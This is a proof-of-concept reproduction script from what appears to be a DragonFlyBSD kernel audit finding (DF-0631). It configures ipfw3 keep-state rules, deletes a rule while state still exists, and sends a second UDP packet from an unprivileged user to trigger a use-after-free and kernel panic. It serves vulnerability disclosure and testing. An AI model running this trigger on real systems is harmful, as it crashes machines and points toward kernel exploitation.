DragonFlyBSD Kernel Audit
DF-0631 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0631 reproduction: ipfw3 keep-state UAF after rule deletion.
#
# Flow (root orchestrates; trigger packet comes from unprivileged maxx):
#   1. default_to_accept=1  -> avoid lockout
#   2. kldload ipfw3 + ipfw3_basic
#   3. net.link.ether.ipfw=1 -> packets reach ip_fw3_chk
#   4. add check-state + keep-state(udp) rules
#   5. maxx ./udppkt          -> creates state s->stub=<rule ptr>
#   6. ipfw3 delete 200       -> kfree(rule); s->stub dangling
#   7. maxx ./udppkt          -> check-state finds state, *f=s->stub -> UAF/panic
#
# After step 7 the guest should panic (captured in serial boot.log).

set -u
cd "$(dirname "$0")"

echo "== step 1: default_to_accept (avoid lockout) =="
sysctl -w net.filters_default_to_accept=1

echo "== step 2: load ipfw3 =="
kldload ipfw3 || true
kldload ipfw3_basic || true
kldstat | grep -E "ipfw3" || true

echo "== step 3: enable L2 firewall hook so ipfw3 sees packets =="
sysctl -w net.link.ether.ipfw=1

echo "== step 4: rules =="
ipfw3 add 100 check-state 2>&1 || true
ipfw3 add 200 allow udp from any to any keep-state 2>&1 || true
ipfw3 show 2>&1 | head -20 || true

echo "== step 5: create state (as maxx) =="
su maxx -c './udppkt' 2>&1 || true
# give the packet a moment to be processed
sleep 1

echo "== step 6: delete rule 200 -> dangling s->stub =="
ipfw3 delete 200 2>&1 || true
ipfw3 show 2>&1 | head -20 || true

echo "== step 7: trigger UAF (as maxx, same 5-tuple) =="
echo "DF0631_TRIGGER"
su maxx -c './udppkt' 2>&1 || true
sleep 2
echo "DF0631_DONE (if we get here, no panic on trigger; check boot.log)"